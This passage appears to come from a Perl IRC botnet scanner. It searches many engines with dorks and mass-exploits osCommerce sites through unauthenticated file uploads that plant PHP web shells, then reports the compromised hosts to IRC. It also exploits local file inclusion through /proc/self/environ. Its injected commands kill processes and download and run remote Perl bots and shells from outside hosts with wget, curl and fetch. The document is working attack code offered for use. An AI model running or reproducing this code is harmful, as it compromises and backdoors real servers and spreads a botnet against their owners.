} exit; } } if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CX",$type,$nick); } exit; } } if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CW",$type,$nick); } exit; } } if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CY",$type,$nick); } exit; } } if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FK",$type,$nick); } exit; } } if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FO",$type,$nick); } exit; } } if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GH",$type,$nick); } exit; } } if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GD",$type,$nick); } exit; } } if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GP",$type,$nick); } exit; } } if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GU",$type,$nick); } exit; } } if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GN",$type,$nick); } exit; } } if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GY",$type,$nick); } exit; } } if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HM",$type,$nick); } exit; } } if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IQ",$type,$nick); } exit; } } if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JM",$type,$nick); } exit; } } if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KI",$type,$nick); } exit; } } if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KW",$type,$nick); } exit; } } if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LA",$type,$nick); } exit; } } if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LB",$type,$nick); } exit; } } if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LR",$type,$nick); } exit; } } if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MO",$type,$nick); } exit; } } if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MG",$type,$nick); } exit; } } if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MV",$type,$nick); } exit; } } if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MP",$type,$nick); } exit; } } if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MQ",$type,$nick); } exit; } } if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MR",$type,$nick); } exit; } } if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YT",$type,$nick); } exit; } } if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MD",$type,$nick); } exit; } } if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MC",$type,$nick); } exit; } } if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ME",$type,$nick); } exit; } } if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MZ",$type,$nick); } exit; } } if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NR",$type,$nick); } exit; } } if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NC",$type,$nick); } exit; } } if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NG",$type,$nick); } exit; } } if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NU",$type,$nick); } exit; } } if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PW",$type,$nick); } exit; } } if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PS",$type,$nick); } exit; } } if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CQ",$type,$nick); } exit; } } if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RE",$type,$nick); } exit; } } if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LC",$type,$nick); } exit; } } if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PM",$type,$nick); } exit; } } if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ST",$type,$nick); } exit; } } if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RS",$type,$nick); } exit; } } if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GS",$type,$nick); } exit; } } if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SL",$type,$nick); } exit; } } if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SX",$type,$nick); } exit; } } if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SB",$type,$nick); } exit; } } if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SO",$type,$nick); } exit; } } if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SU",$type,$nick); } exit; } } if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KN",$type,$nick); } exit; } } if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SR",$type,$nick); } exit; } } if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TZ",$type,$nick); } exit; } } if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TL",$type,$nick); } exit; } } if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TG",$type,$nick); } exit; } } if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TK",$type,$nick); } exit; } } if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TN",$type,$nick); } exit; } } if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TC",$type,$nick); } exit; } } if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VU",$type,$nick); } exit; } } if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WF",$type,$nick); } exit; } } if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YE",$type,$nick); } exit; } } if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ZW",$type,$nick); } exit; } } if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLe",$type,$nick); } exit; } } if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KvaSiR",$type,$nick); } exit; } } if ($engine =~ /quint/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Quint",$type,$nick); } exit; } } if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Pagina",$type,$nick); } exit; } } if ($engine =~ /clix/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Clix",$type,$nick); } exit; } } if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ask2",$type,$nick); } exit; } } if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Bing",$type,$nick); } exit; } } if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BigLobe",$type,$nick); } exit; } } if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WaLLa",$type,$nick); } exit; } } if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsK",$type,$nick); } exit; } } if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OnEt",$type,$nick); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CLusTy",$type,$nick); } exit; } } if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SaPo",$type,$nick); } exit; } } if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AoL",$type,$nick); } exit; } } if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LyCos",$type,$nick); } exit; } } if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HotBot",$type,$nick); } exit; } } if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SeZNam",$type,$nick); } exit; } } if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UoL",$type,$nick); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CLusTy",$type,$nick); } exit; } } if ($engine =~ /webcrawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"webcrawler",$type,$nick); } exit; } } if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"clusty",$type,$nick); } exit; } } if ($engine =~ /witch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"witch",$type,$nick); } exit; } } if ($engine =~ /amidalla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"amidalla",$type,$nick); } exit; } } if ($engine =~ /gibla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"gibla",$type,$nick); } exit; } } if ($engine =~ /mywebsearch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"mywebsearch",$type,$nick); } exit; } } if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"dogpile",$type,$nick); } exit; } } if ($engine =~ /infocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"infocom",$type,$nick); } exit; } } if ($engine =~ /searchcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"searchcom",$type,$nick); } exit; } } if ($engine =~ /teoma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"teoma",$type,$nick); } exit; } } if ($engine =~ /volunia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"volunia",$type,$nick); } exit; } } if ($engine =~ /izito/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"izito",$type,$nick); } exit; } } if ($engine =~ /onyet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"onyet",$type,$nick); } exit; } } if ($engine =~ /askom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"askom",$type,$nick); } exit; } } if ($engine =~ /becak/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"becak",$type,$nick); } exit; } } if ($engine =~ /bokep/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"bokep",$type,$nick); } exit; } } if ($engine =~ /searchnz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"searchnz",$type,$nick); } exit; } } } ###### EXPLOITING ####### sub osco() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","0,1$oscologo(@8$engine15)10 Scan finish"); } my $test = "http://".$site.$bug; my $test2 = "http://".$site."admin/banner_manager.php/login.php?action=insert"; my $html = &get_content($test); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($html =~ /Warning: No file uploaded/ ) { &msg("$chan","0,1$oscologo(@8$engine15)15(13@12System15)4 ".$test); &osco_xpl($test,$chan,$site,$engine); &osco_xplt($test,$chan,$site,$engine); } elsif($test2 =~/OSCommerce Login/){ &msg("$chan","0,1$oscologo(@8$engine15)15(13@12System15)4 ".$test2); &osco_xplx($test,$chan,$site,$engine); }else { } } exit; sleep(2); } } } } sub osco_xplx() { my $browser = LWP::UserAgent->new; my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $telembuk ='Byz.jpg'; my $action = "http://".$site."admin/banner_manager.php/login.php?action=insert"; my $res = $browser->post( $url,['banners_image' => ['Byz.jpg' => 'cucuz.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $exploit = $ua->post($url, Content_Type => "multipart/form-data", Content => [action => $action, banners_image => [$telembuk => 'cucuz2.php' => 'application/octet-stream']]); my $hasil = $res->as_string; my $hasil2 = $exploit->as_string; my $check = &get_content("http://".$site."images/cucuz.php");&get_content("http://".$site."images/cucuz.php");sleep(3); if ($check =~ /GIF89a/) { my $os =""; my $free =""; my $uid =""; if ($check =~ m/<br>Uname -a :(.*?)<br>/) {$os = $1;} if ($check =~ m/Freespace : (.*?)<\/p>/) {$free = $1;} if ($check =~ m/id : uid=(.*?) gid=/) {$uid = $1;} &msg("$chan","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site." 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$chanxxx","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."14 backdoored ! 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$admin","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."images/cucuz.php 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$nick","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."images/cucuz.php 15(OS=$os) (free=$free) uid=$uid ");sleep(2); } my $check2 = &get_content("http://".$site."images/cucuz2.php");&get_content("http://".$site."images/cucuz2.php");sleep(3); if ($check =~ /GIF89a/) { my $os =""; my $free =""; my $uid =""; if ($check =~ m/<br>Uname -a :(.*?)<br>/) {$os = $1;} if ($check =~ m/Freespace : (.*?)<\/p>/) {$free = $1;} if ($check =~ m/id : uid=(.*?) gid=/) {$uid = $1;} &msg("$chan","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site." 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$chanxxx","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."14 backdoored ! 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$admin","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."images/cucuz2.php 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$nick","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."images/cucuz2.php 15(OS=$os) (free=$free) uid=$uid ");sleep(2); } } sub osco_xpl() { my $browser = LWP::UserAgent->new; my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $res = $browser->post( $url,['products_image' => ['Byz.jpg' => 'mail.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $resa = $browser->post( $url,['products_image' => ['read.jpg' => 'read.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $resb = $browser->post( $url,['products_image' => ['tmp.jpg' => 'tmp.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $hasil = $res->as_string; my $hasil1 = $resa->as_string; my $hasil2 = $resb->as_string; my $check = &get_content("http://".$site."images/mail.php");&get_content("http://".$site."images/tmp.php");sleep(3); if ($check =~ /GIF89a/) { my $os =""; my $free =""; my $uid =""; if ($check =~ m/<br>Uname -a :(.*?)<br>/) {$os = $1;} if ($check =~ m/Freespace : (.*?)<\/p>/) {$free = $1;} if ($check =~ m/id : uid=(.*?) gid=/) {$uid = $1;} &msg("$chan","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site." 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$chanxxx","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."14 backdoored ! 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$admin","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."images/read.php 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$nick","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."images/read.php 15(OS=$os) (free=$free) uid=$uid ");sleep(2); } } sub osco_xplt() { my $browser = LWP::UserAgent->new; my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $res = $browser->post( $url,['products_image' => ['lo.php.gif' => 'byz9991.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $hasil = $res->as_string; my $hasil1 = $resa->as_string; my $hasil2 = $resb->as_string; my $check = &get_content("http://".$site."images/byz9991.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log");&get_content("http://".$site."images/byz9991.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log");sleep(3); if ($check =~ /GIF89a/) { my $os =""; my $free =""; my $uid =""; if ($check =~ m/<br>Uname -a :(.*?)<br>/) {$os = $1;} if ($check =~ m/Freespace : (.*?)<\/p>/) {$free = $1;} if ($check =~ m/id : uid=(.*?) gid=/) {$uid = $1;} &msg("$chan","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site." 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$chanxxx","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."14 backdoored ! 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$admin","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."images/read.php 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$nick","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."images/read.php 15(OS=$os) (free=$free) uid=$uid ");sleep(2); } } sub osco2() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","0,1$oscologo(@8$engine15)10 Scan finish"); } my $test = "http://".$site.$bug; my $html = &get_content($test); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($html =~ /TABLE_HEADING_FILENAME/ ) { &msg("$chan","0,1$oscologo(@8$engine15)15(13@12System15)4 ".$test); &osco_xpl2($test,$chan,$site,$engine); } else { } } exit; sleep(2); } } } } sub osco_xpl2() { my $browser = LWP::UserAgent->new; my $url = $_[0]."?action=processuploads"; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $res = $browser->post( $url,['file_1' => ['Byz.jpg' => 'mail.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $resa = $browser->post( $url,['file_1' => ['read.jpg' => 'read.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $resb = $browser->post( $url,['file_1' => ['tmp.jpg' => 'tmp.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); my $hasil = $res->as_string; my $hasil1 = $resa->as_string; my $hasil2 = $resb->as_string; my $check = &get_content("http://".$site."images/read.php");&get_content("http://".$site."images/tmp.php");sleep(3); if ($check =~ /GIF89a/) { my $os =""; my $free =""; my $uid =""; if ($check =~ m/<br>Uname -a :(.*?)<br>/) {$os = $1;} if ($check =~ m/Freespace : (.*?)<\/p>/) {$free = $1;} if ($check =~ m/id : uid=(.*?) gid=/) {$uid = $1;} &msg("$chan","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site." 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$chan2","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."images/read.php 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$admin","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."images/read.php 15(OS=$os) (free=$free) uid=$uid ");sleep(2); &msg("$nick","0,1$oscologo(4@8$engine15)15(13@12SHeLL15)9 http://".$site."images/read.php 15(OS=$os) (free=$free) uid=$uid ");sleep(2); } } sub lfi_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = &search_engine($chan,$bug,$dork,$engine,$lfilogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$lfilogo15$engine 9Joging gan..."); } my @dirc = ("../../../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../", "../../../../../../../../../../../../../", "../../../../../../../../../../../../", "../../../../../../../../../../../", "../../../../../../../../../../", "../../../../../../../../../", "../../../../../../../../", "../../../../../../../", "../../../../../../", "../../../../../", "../../../../", "../../../", "../../", "../"); my $dir = $dirc[rand(scalar(@dirc))]; my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000"; my $vuln = "http://".$site."12".$bug.$dir."/proc/self/environ%0000"; my $shell = "http://".$site."12".$bug.$dir."/tmp/koboy%0000"; my $shell2 = "http://".$site."12".$bug.$dir."/tmp/jancok%0000"; my $html = &get_content($test); if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $code = 'echo "c0li#".php_uname()."#c0li".get_current_user();if(@copy("'.$gento.'","/tmp/koboy")){ echo "SUCCESS";@copy("'.$gento.'","/tmp/dev");@copy("'.$gento2.'","/tmp/jancok"); }'; my $res = lfi_env_query($test,encode_base64($code)); &lfi_spread_query($test); &get_content("http://".$site.$bug.$dir."/tmp/dev%0000"); &get_content("http://".$site.$bug.$dir."/tmp/jancok%0000"); my $sodok = &get_content("http://".$site.$bug.$dir."/tmp/jancok%0000"); $res =~ s/\n//g; if ($res =~ /c0li#(.*)#c0li(.*)SUCCESS/sg) { my $sys = $1; $nob0dy = $2; &msg("$chan","$lfilogo4TARGET1 12SEND 3TO 13$nick Selamatt Yaaa... ^_^ 4<9=".$sys."4>"); &msg("$nick","$lfilogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2); &msg("$admin","$lfilogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2); } elsif ($res =~ /c0li#(.*)#c0li(.*)/sg) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $sys = $1; $nob0dy = $2; my $upload = 'system("killall -9 perl;killall -9 php;wget '.$jembut.'/cup.txt;perl cup.txt;wget '.$jembut.'/jeder.txt;php jeder.txt;fetch '.$injector.';mv b.txt images.php; wget '.$colok.' -O b.php;fetch '.$jembut.'/jeder.txt;php jeder.txt;fetch '.$jembut.'/cup.txt;perl cup.txt;mv jatimcrew.flv jancok.php;wget '.$botshellrfi.' -O cok.php;fetch '.$botshellrfi.'; mv jatimcrew.flv anal.php;");passthru("killall -9 perl;killall -9 php;wget '.$injector.' -O images.php;fetch '.$injector.'; mv b.txt images2.php;wget '.$koboys.';perl cok.txt;curl '.$koboys.' -o wedus.txt;perl wedus.txt;");'; my $wget = lfi_env_query($test,encode_base64($upload)); sleep(2); my $check = &get_content("http://".$site.$bug.$dir."/tmp/koboy%0000"); sleep(2); 